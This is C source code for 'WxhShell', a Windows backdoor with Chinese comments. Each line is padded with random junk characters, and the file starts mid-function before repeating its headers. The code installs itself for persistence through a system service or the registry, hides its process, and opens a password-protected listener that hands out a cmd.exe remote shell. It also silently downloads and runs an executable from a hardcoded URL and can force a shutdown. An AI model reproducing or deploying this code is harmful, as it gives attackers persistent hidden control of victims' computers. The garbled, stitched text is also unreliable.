    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )4[{+OJa  
    if(Boot(SHUTDOWN)) [MM11K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h~$Q\WCm#  
    else { @vf{_g<  
    closesocket(wsh); NJ-cP m  
    ExitThread(0); uQ9/7"S  
    } }-{l(8-  
    break; JnX@eBNV  
    } \IQP` JR  
  // 获取shell rnxO2   
  case 's': { cTRQI3Oa>  
    CmdShell(wsh); e=nExY  
    closesocket(wsh); X~RET[L2  
    ExitThread(0); tR#uDE\wR  
    break; i3 k ',8  
  } k07JMS?  
  // 退出 bA#E8dlC_  
  case 'x': { 1{+Ni{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [.P~-6~  
    CloseIt(wsh);  /A|cO   
    break; tq9t(0EL  
    } ]3#_BL)M8p  
  // 离开 U[~BW[[@f  
  case 'q': { ~..h=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tZ1iaYbvV  
    closesocket(wsh); wxPg*R+t  
    WSACleanup(); <_""4  
    exit(1); 7I4G:-V:^  
    break; <wTkPErUG  
        } qv3L@"Ub  
  } rS9*_-NH  
  } M3 8,SH<  
Ai iOs?  
  // 提示信息 (CY VSO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6m21Y8N  
} lfR"22t  
  } ?7:"D e  
hMw}[6m  
  return; nLkC-+$tM  
} wP/rR D6  
&K k+RHM  
// shell模块句柄 ,K7C2PV6  
int CmdShell(SOCKET sock) *n?6x!A  
{ ;3'}(_n  
STARTUPINFO si; u7`<m.\  
ZeroMemory(&si,sizeof(si)); #v-)Ie\F?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0t 7yK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Jg k@ti.}Z  
PROCESS_INFORMATION ProcessInfo; 4BuS? #_  
char cmdline[]="cmd"; _*Vq1D]C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -GP+e`d  
  return 0; A"eT @  
} +XWXHt  
>FHTBh& Y  
// 自身启动模式 c[ff|-<g  
int StartFromService(void) ZvNXfC3Ia  
{ oq]KOj[  
typedef struct gzzPPd,hd  
{ c#9 zw[y-L  
  DWORD ExitStatus; sr#, S(p  
  DWORD PebBaseAddress; &nPv%P,e  
  DWORD AffinityMask; =KT7ZSTV  
  DWORD BasePriority; NLb/Bja  
  ULONG UniqueProcessId; D'O[0?N"g  
  ULONG InheritedFromUniqueProcessId; z[qM2  
}   PROCESS_BASIC_INFORMATION; hFa\x5I5  
zy@ #R;  
PROCNTQSIP NtQueryInformationProcess; & A9psc(,&  
. 36'=K  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OY~5o&Oa  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; vWfC!k-)b  
WP^%[?S2  
  HANDLE             hProcess; )X\3bPDJR  
  PROCESS_BASIC_INFORMATION pbi;  wSV[nK  
xKsn);].`  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X?rJO~5  
  if(NULL == hInst ) return 0; 9>@_};l  
l W&glU(  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pfAp2"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TaM,9MAu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ~`tc|Zu  
k1-?2kf"{  
  if (!NtQueryInformationProcess) return 0; ?\hXJih  
RWTv,pLK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hPFIf>%}  
  if(!hProcess) return 0; XNu2G19jb  
KU33P>a"[k  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; R52q6y:<x  
r(vk2Qy  
  CloseHandle(hProcess); [4xN:i  
WKxJ`r\  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QS=n 50T,  
if(hProcess==NULL) return 0; ?WUE+(oH>  
`j=CzZ*em?  
HMODULE hMod; 4B]8Mp~\aL  
char procName[255]; #C%<g:F8  
unsigned long cbNeeded; zCvR/  
WlZ[9,:p1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  ^r ;}6  
WHAEB1c#Q  
  CloseHandle(hProcess); 7\{<AM?*  
<#|3z8N2  
if(strstr(procName,"services")) return 1; // 以服务启动 {!oO>t  
Y]8l]l 1  
  return 0; // 注册表启动 {2Gp+&  
} kV6>O C&^  
{AIZ,  
// 主模块 Bfw>2  
int StartWxhshell(LPSTR lpCmdLine) P!bm$h*3?  
{ "{{xH*ij'  
  SOCKET wsl;  mH?^3T  
BOOL val=TRUE; r="X\ [on  
  int port=0; 5+3Z?|b  
  struct sockaddr_in door; ?wwY8e?S  
fXL>L   
  if(wscfg.ws_autoins) Install(); l@#X]3h!  
NJl|/(]v  
port=atoi(lpCmdLine); PVEEKKJP]J  
j1d#\  
if(port<=0) port=wscfg.ws_port; } A# C  
2~]c`/M3  
  WSADATA data; e`}|*^-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^Gs!"Y  
kf5921(P  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >!WJ{M0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NmtBn^ t  
  door.sin_family = AF_INET; %8{' XJ!  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yY_]YeeR  
  door.sin_port = htons(port); =~aJ]T}(  
u4+VG5.rhT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { cVulJ6  
closesocket(wsl); ^O892-R  
return 1; 2N)vEUyDV  
} k7W8$8 v  
8%nTDSp&t  
  if(listen(wsl,2) == INVALID_SOCKET) { g>f(5  
closesocket(wsl); 3*arW|Xm  
return 1; aUA+%  
} dd4yS}yBlR  
  Wxhshell(wsl); PS=crU@"H  
  WSACleanup(); ,sLV6DM  
VJr?` eY4  
return 0; A0[flIl  
yobi$mnsy!  
} U_I'Nz!^ t  
= )(;  
// 以NT服务方式启动 L YH9P-5H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >J8?n,*  
{ EKoCm)}d  
DWORD   status = 0; NU 6P  
  DWORD   specificError = 0xfffffff; QT-rb~  
N+}yw4lb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 3rR(>}:[V  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2,_BO6 !d  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n!tCz<v  
  serviceStatus.dwWin32ExitCode     = 0; {h@R\bU  
  serviceStatus.dwServiceSpecificExitCode = 0; Q6vkqu5!=  
  serviceStatus.dwCheckPoint       = 0; ruE.0VI@  
  serviceStatus.dwWaitHint       = 0; )O7Mfr  
y5R6/*;N.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hUl FP  
  if (hServiceStatusHandle==0) return; ^Y'>3o21f  
((?^B  
status = GetLastError(); ;wvV hQ  
  if (status!=NO_ERROR) O9>/ WmLe  
{ CF>NyY:_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iWtWT1n8n  
    serviceStatus.dwCheckPoint       = 0; E|^a7-}|  
    serviceStatus.dwWaitHint       = 0; 9'4cqR  
    serviceStatus.dwWin32ExitCode     = status; _N<qrH^;  
    serviceStatus.dwServiceSpecificExitCode = specificError; V25u'.'v  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7z+NR&' M$  
    return; }Rt<^oya*  
  } ,e,fOL  
U\b,W&%P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vO&1F@  
  serviceStatus.dwCheckPoint       = 0; Fir7z nRW  
  serviceStatus.dwWaitHint       = 0; MOOL=Um3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6SidH_&C  
} p$"*U[%l  
8Ipyr%l  
// 处理NT服务事件,比如:启动、停止 Y8CXin h  
VOID WINAPI NTServiceHandler(DWORD fdwControl) HWs?,AJNxB  
{ (,<?Pg7v:f  
switch(fdwControl) %OzxR9  
{ 8"S0E(,mu  
case SERVICE_CONTROL_STOP: Ajq<=y`NzV  
  serviceStatus.dwWin32ExitCode = 0; )I5f`r=Ry  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; a{)"KAP  
  serviceStatus.dwCheckPoint   = 0; ]7br*t^zv  
  serviceStatus.dwWaitHint     = 0; e j`lY  
  { E7jv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3[Z?`X  
  } / ?Q@Pn  
  return; U1&m-K  
case SERVICE_CONTROL_PAUSE: AalyEn&>  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pWQ?pTh  
  break; WS,p}:yPZG  
case SERVICE_CONTROL_CONTINUE: r\em-%:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _e?(Gs0BM  
  break; ;>YJ}:r"\  
case SERVICE_CONTROL_INTERROGATE: gWJLWL2  
  break; 9vVYZ}HC  
}; z1YC%Y|R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8cW]jm  
} k-w._E <  
fM8 :Nt$  
// 标准应用程序主函数 q|Ga   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >B3_P4pW9  
{ xEZvCwsb  
6t@3 a?  
// 获取操作系统版本 XfY]qQP  
OsIsNt=GetOsVer(); E7 7Au;TL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [zY9"B<3  
;%Z)$+Z_)<  
  // 从命令行安装 58=fT1 B  
  if(strpbrk(lpCmdLine,"iI")) Install(); b ~F8 5U2  
DuCq16'0T  
  // 下载执行文件 :MJTmpq,  
if(wscfg.ws_downexe) { )FgcNB1|7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T@f$w/15  
  WinExec(wscfg.ws_filenam,SW_HIDE); &}*[-z  
} 3lLO.  
! WQEv_G@  
if(!OsIsNt) { B?Pu0 _|s  
// 如果时win9x,隐藏进程并且设置为注册表启动 EpPKo  
HideProc(); M(5lSu  
StartWxhshell(lpCmdLine); =o9 %)  
} g.z/%Lp K  
else 1k;X*r#  
  if(StartFromService()) J/)Q{*`_  
  // 以服务方式启动 %"{SGp  
  StartServiceCtrlDispatcher(DispatchTable); 1vQ*Br  
else ZfIQ Fh>  
  // 普通方式启动 g9 g &]  
  StartWxhshell(lpCmdLine); HQ4o^WC  
Wny{qj)=  
return 0; ?HU(0Vgn'  
} iao_w'tJ  
Y2Y/laD  
:5p`H  
W${0#qq  
=========================================== hXZk$a'  
S{&;  
_W&.{ 7  
(?oK+,v?L  
7TlOF  
.p <!2   
" 3rOv j&2  
f`vB$r>  
#include <stdio.h> ])vM# f  
#include <string.h> z,$^|'pP  
#include <windows.h> ofRe4 *\j  
#include <winsock2.h> i?||R|>;"'  
#include <winsvc.h> 5Vf#(r f  
#include <urlmon.h> na>UFw7>*  
NouT~K`'  
#pragma comment (lib, "Ws2_32.lib") Sh=z  
#pragma comment (lib, "urlmon.lib") n{=vP`V_  
~#O nA1)  
#define MAX_USER   100 // 最大客户端连接数 <Y<%=`  
#define BUF_SOCK   200 // sock buffer ".~,(*  
#define KEY_BUFF   255 // 输入 buffer | [P!9e  
C+jlIT+  
#define REBOOT     0   // 重启 {ge^&l  
#define SHUTDOWN   1   // 关机  O &;Cca  
Un@dWf6'  
#define DEF_PORT   5000 // 监听端口 A"d=,?yE  
$,F1E VJ  
#define REG_LEN     16   // 注册表键长度 7'CdDB6&.  
#define SVC_LEN     80   // NT服务名长度 E%2]c?N5  
V+-%$-w>  
// 从dll定义API FAo\`x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wNq#vn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 8FU8E2zo  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }cEcoi<v!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9K~X}]u  
PA&Ev0`+  
// wxhshell配置信息 1H{J T op  
struct WSCFG { 2w+w'Ag_R  
  int ws_port;         // 监听端口 G[@RZ~o4  
  char ws_passstr[REG_LEN]; // 口令 <V>]-bl/  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4Zo.c* BZ  
  char ws_regname[REG_LEN]; // 注册表键名 B[epI3 R  
  char ws_svcname[REG_LEN]; // 服务名 Y'mtMLfMc  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =g UOHH  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,F!zZNW9  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Z<@0~t_:?p  
int ws_downexe;       // 下载执行标记, 1=yes 0=no J>TNyVaoQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #;z;8q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ACctyGd  
eD 4X:^@  
}; Uyj6Ij_Pj)  
58V`I5_  
// default Wxhshell configuration <Y:{>=  
struct WSCFG wscfg={DEF_PORT, Nu/wjx$b  
    "xuhuanlingzhe", B/0Xqyu  
    1, +Hgil  
    "Wxhshell", f; w\k7 #  
    "Wxhshell", +DU^"q=  
            "WxhShell Service", [0qe ?aI  
    "Wrsky Windows CmdShell Service", e];lDa#4-Y  
    "Please Input Your Password: ", ) [+82~F  
  1, ";yey]  
  "http://www.wrsky.com/wxhshell.exe", u0zF::  
  "Wxhshell.exe" ;G.5.q[A  
    }; ($'W(DH4  
2RG6m=Y8y  
// 消息定义模块 0Ta&o-e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -n FKP&P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9kHVWDf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k<Qhw)M8  
char *msg_ws_ext="\n\rExit."; {bHUZen  
char *msg_ws_end="\n\rQuit."; !K*(# [  
char *msg_ws_boot="\n\rReboot..."; {7'Wi$^F  
char *msg_ws_poff="\n\rShutdown..."; }IEwGoDwNs  
char *msg_ws_down="\n\rSave to "; WX6}@mS.  
%;_94!(hC  
char *msg_ws_err="\n\rErr!"; Xdh2  
char *msg_ws_ok="\n\rOK!"; cD6S;PSg  
2. '` mGu  
char ExeFile[MAX_PATH]; 0xVw{k}1U  
int nUser = 0; =HMa<"-8  
HANDLE handles[MAX_USER]; M#n lKj<  
int OsIsNt; *,& 2?E8  
y^Uh<L0M  
SERVICE_STATUS       serviceStatus; Kv0V`}<Yc  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lg"aB  
5.1z9[z  
// 函数声明 aKjP{Z0k$  
int Install(void); 5(>SFxz"t  
int Uninstall(void); ,2YZB*6h{  
int DownloadFile(char *sURL, SOCKET wsh); /| q .q  
int Boot(int flag); ysapvQN_6  
void HideProc(void); VWq]w5oQO  
int GetOsVer(void); ' _d4[Olu  
int Wxhshell(SOCKET wsl); o1`\*]A7J  
void TalkWithClient(void *cs); I+=+ ,iXhB  
int CmdShell(SOCKET sock); p<1y$=zS  
int StartFromService(void); `+z^#3l  
int StartWxhshell(LPSTR lpCmdLine); 3P@D!lV&K  
5skxixG  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); m ww<Xm'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); vAp<Muj(a  
<qg4Rz\c]  
// 数据结构和表定义 J 2<kOXXJ9  
SERVICE_TABLE_ENTRY DispatchTable[] = ijsoY\V50  
{ p8Z?R^$9H  
{wscfg.ws_svcname, NTServiceMain}, |Dt_lQp#  
{NULL, NULL} sYjhQN=Y*  
}; jr,N+K(@T  
jc!m; U t  
// 自我安装 '2GnAws^  
int Install(void) nv0\On7wd  
{ #u}%r{T  
  char svExeFile[MAX_PATH]; t0+i ]lr  
  HKEY key; SQ_Je+X  
  strcpy(svExeFile,ExeFile); Q$uv \h;  
Kci. ,I  
// 如果是win9x系统,修改注册表设为自启动 G54J'*Z  
if(!OsIsNt) { `78Bv>[A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~)^'5^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;z.L^V0  
  RegCloseKey(key); oNZ_7tU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dvZH~mF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (:aU"5M  
  RegCloseKey(key); dgL>7X=7  
  return 0; D/?Ec\ t  
    } NMe{1RM  
  } +$|fUn{  
} W:,Wex^9n  
else { ]} dQ~lOE  
om`T/@_,  
// 如果是NT以上系统,安装为系统服务 D"rbQXR7$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #MKM.T,\t  
if (schSCManager!=0) #=t/wAE y:  
{ T]ls&cW5  
  SC_HANDLE schService = CreateService 4vEP\E3u<j  
  (  =*&[K^  
  schSCManager, l|=4FIMD  
  wscfg.ws_svcname, +LF#XS@  
  wscfg.ws_svcdisp, w8XCU> |  
  SERVICE_ALL_ACCESS, f. "\~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xNzGp5H  
  SERVICE_AUTO_START, Nai5!_'  
  SERVICE_ERROR_NORMAL, ?u|@,tQ[  
  svExeFile, CJ* D  
  NULL, _Z23lF 9  
  NULL, 8LbwEKl  
  NULL, )\|+G5#`  
  NULL, VGmvfhf#"  
  NULL 6|zhqb|s  
  ); 5BJ E  
  if (schService!=0) -~mgct5  
  { $#q`Y+;L2  
  CloseServiceHandle(schService); #L~i|(=U5  
  CloseServiceHandle(schSCManager); l-Z( ]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); .E<nQWz 8  
  strcat(svExeFile,wscfg.ws_svcname); ;$QC_l''b  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lj (y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <.Ws; HN}  
  RegCloseKey(key); 1Y|a:){G  
  return 0; cg.{oMwa  
    } ` y\)X C7  
  } hW~.F  
  CloseServiceHandle(schSCManager); 8.i4QaU  
} 83n%pS4x  
} eXW|{asx  
<7M-?g:vj  
return 1; y3zP`^  
} Ix5&B6L8  
rW:krx9  
// 自我卸载 );$99t  
int Uninstall(void) WwDM^}e  
{ 3 r&  
  HKEY key; l~6K}g?  
%GHGd'KO&  
if(!OsIsNt) { T#) )_aC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7;s#QqG`I  
  RegDeleteValue(key,wscfg.ws_regname); Y()" 2CCV  
  RegCloseKey(key); f8Iddm#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p+ CUYo(  
  RegDeleteValue(key,wscfg.ws_regname); iRzFA!wH  
  RegCloseKey(key); <s9?9^!!V^  
  return 0; cJ;Nh>ey  
  } k, HC"?K  
} j*jUcD *  
} *.DC(2:o!  
else { *yu}e)(0  
4J2^zx,H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); cCe~Ol XQ  
if (schSCManager!=0) {KG6#/%;  
{ >]\I:T  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c.ow4~>  
  if (schService!=0) i[o 2(d,  
  { s6!6Oqh  
  if(DeleteService(schService)!=0) { ,#K/+T  
  CloseServiceHandle(schService); n0xGIq  
  CloseServiceHandle(schSCManager); Oynb "T&8  
  return 0; `*C=R  _  
  } ^[M{s(b  
  CloseServiceHandle(schService); gc9R;B1  
  } *doNPp)m  
  CloseServiceHandle(schSCManager); [9 W@<p  
} Smr{+m a  
} |A8@r&   
2cR[~\_9.  
return 1; zLpCKndj  
} K~N$s "Qx  
hH %>  
// 从指定url下载文件 p+VU:%.t  
int DownloadFile(char *sURL, SOCKET wsh) .ZpOYhk  
{ EB~]6.1  
  HRESULT hr; ?sf<cFF  
char seps[]= "/"; 1E+12{~m"i  
char *token; g !'R}y  
char *file; >|$]=e,Z  
char myURL[MAX_PATH]; l<6u@,%s  
char myFILE[MAX_PATH]; @(3F4Z.i%.  
mdj%zJ8/  
strcpy(myURL,sURL); `o[l%I\Q  
  token=strtok(myURL,seps); Dac)`/  
  while(token!=NULL) b 7UJ  
  { z p E|  
    file=token; i"^>sk  
  token=strtok(NULL,seps); T] zEcx+e  
  } %FO{:@CH  
OtG\Uw8  
GetCurrentDirectory(MAX_PATH,myFILE); rE3dHJN;  
strcat(myFILE, "\\"); P@{ x@9kI  
strcat(myFILE, file); UUah5$Iy  
  send(wsh,myFILE,strlen(myFILE),0); i0vm00oT  
send(wsh,"...",3,0); D(!^$9e9b  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p4`1^}f&Ie  
  if(hr==S_OK) o NtFYY  
return 0;  : T*Q2  
else BOs/:ZbK0W  
return 1; LG #^g6P  
/ ^.|m3  
} KZm&sk=QM-  
_yg_?GH  
// 系统电源模块 2u"lc'9v  
int Boot(int flag) 1F@k9[d~  
{ =BJe)!b  
  HANDLE hToken; <W4F`6`x  
  TOKEN_PRIVILEGES tkp; d9N[f>  
!?2)a pM  
  if(OsIsNt) { 8>Cr6m   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); K\Ea\b[  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ]c.w+<  
    tkp.PrivilegeCount = 1; wQ}r/2n|^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; RBX<>*  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U7r8FLl  
if(flag==REBOOT) { k]b*&.EY1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) TdtV (  
  return 0; swKkY`g  
} +v Bi7#&  
else { g3R(,IH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Syk)S<  
  return 0; \Wbmmd}8  
} vQAFgG  
  } FFHq':v  
  else { :^;c(>u{  
if(flag==REBOOT) { R.~[$G!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) odRiCiMH  
  return 0; 9!FX *}dC  
} !jCgTo y  
else { i?00!t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) / f%mYL  
  return 0; yI0bSu<j-  
} 55[ 4)*  
} _( W@FS  
dG\ wW@}J  
return 1; YeH!v, >  
} 7_0 p& 3  
y<)TYr  
// win9x进程隐藏模块 vOQ% f?%G\  
void HideProc(void) @Nu2 :~JO  
{ 91-bz^=xO  
Up9{aX  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s#2t\}/  
  if ( hKernel != NULL ) L@}PW)#  
  { 7)66e  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0-2|(9 Kc  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); b}e1JPk}!  
    FreeLibrary(hKernel); jHLs 5%  
  } D=tZ}_'{t  
$a(-r-_Fi]  
return; Zk3Pv0c  
} eA!o#O.  
D6 B-#u!M  
// 获取操作系统版本 @^{Hq6_`  
int GetOsVer(void) 2 $>DX\h  
{ Z\&f"z?L  
  OSVERSIONINFO winfo; b 2gng}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h Yu6PWK  
  GetVersionEx(&winfo); Z;0~f<e%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) X{9^$/XsJ  
  return 1; q z)2a2C  
  else a#oROb-*~  
  return 0;  Fr%#  
} ! 'zd(kv<  
.`or^`X3  
// 客户端句柄模块 [ks_wvY:'  
int Wxhshell(SOCKET wsl) y^. 66BH  
{ *}[\%u$ T  
  SOCKET wsh; ;>6< u.N  
  struct sockaddr_in client; RLF&-[mr3  
  DWORD myID; GES}o9?#  
 rxY|&!f  
  while(nUser<MAX_USER) _Q V=3UWP  
{ Di9RRHn&q  
  int nSize=sizeof(client); U82a]i0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WI8}_){ d  
  if(wsh==INVALID_SOCKET) return 1; 9zaN fs  
nt.LiM/L  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QX,$JM3  
if(handles[nUser]==0) kZ]H[\Fs  
  closesocket(wsh); GP:<h@:798  
else xtV+Le%  
  nUser++; e`*}?N4d  
  } j"W>fC/u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +UzQJt/>>  
W4^L_p>Tm^  
  return 0; ;vn0%g  
} uF ?[H -y  
$|4@Zx4vf  
// 关闭 socket [W[{ 4 Xu  
void CloseIt(SOCKET wsh) bS_#3T  
{ ~.a"jYb7A}  
closesocket(wsh); ggso9ZlLu+  
nUser--; Sp `l>BL  
ExitThread(0); FO{=^I5YA  
} 1 ZdB6U0  
%6K7uvTq  
// 客户端请求句柄 t)SZ2G1r  
void TalkWithClient(void *cs) PyeNu3Il4  
{ 6opin  
D9rQ%|}S  
  SOCKET wsh=(SOCKET)cs; 6BE,L  
  char pwd[SVC_LEN]; ep>!jMhJa  
  char cmd[KEY_BUFF]; wj[yo S  
char chr[1]; _]:b@gXUw  
int i,j; *k?:k78L  
E)b$;'  
  while (nUser < MAX_USER) { R2bqhSlF  
bM W|:rn  
if(wscfg.ws_passstr) { F.s$Y+c!6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]8G 'R-8}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H MOIUd  
  //ZeroMemory(pwd,KEY_BUFF); yOM/UdWq  
      i=0; [8V;Q  
  while(i<SVC_LEN) { ~ |G&cg  
lg%fjBY  
  // 设置超时 Vaxg   
  fd_set FdRead; !-I,Dh-A  
  struct timeval TimeOut; 4.A^5J'W  
  FD_ZERO(&FdRead); q^X7x_  
  FD_SET(wsh,&FdRead); w,|@e_|J  
  TimeOut.tv_sec=8; ns[/M~_r  
  TimeOut.tv_usec=0; 5eAZfe%H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); UmKE]1Yw4r  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); I}$`gUXX8x  
7?lz$.*Avp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bk8}K=%w  
  pwd=chr[0]; <JPN< Kv  
  if(chr[0]==0xd || chr[0]==0xa) { cXweg;  
  pwd=0; ,05PYBc3  
  break; "1o{mvCkR  
  } 7lC$UQx8  
  i++; !z?   
    } MGdzrcF  
"M%R{pGA7  
  // 如果是非法用户,关闭 socket 8t+eu O  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;`AB-  
} U32$ 9"  
VZ]iep  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "&(/bdah?&  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H4M=&"ll}  
V 6}5^W  
while(1) { 6@]o,O  
O>`k@X@9/  
  ZeroMemory(cmd,KEY_BUFF); kUBE+a6#  
?<Qbp;WBo  
      // 自动支持客户端 telnet标准   q` S ~w  
  j=0; Y:*% [\R  
  while(j<KEY_BUFF) { ~!uX"F8Xl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `$a!CJu,  
  cmd[j]=chr[0]; rzY)vC+ZT  
  if(chr[0]==0xa || chr[0]==0xd) { KGt:  
  cmd[j]=0; KpN]9d   
  break; X G#?fr}L  
  } &YFe"C  
  j++; >N&{DJmD  
    } #.8v[TkKq  
A %w9Da?B  
  // 下载文件 fECV\Z  
  if(strstr(cmd,"http://")) { j26i+Z  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +!).'  
  if(DownloadFile(cmd,wsh)) \((MoQ9Qk  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); =By@%ioIGG  
  else n"iS[uj,  
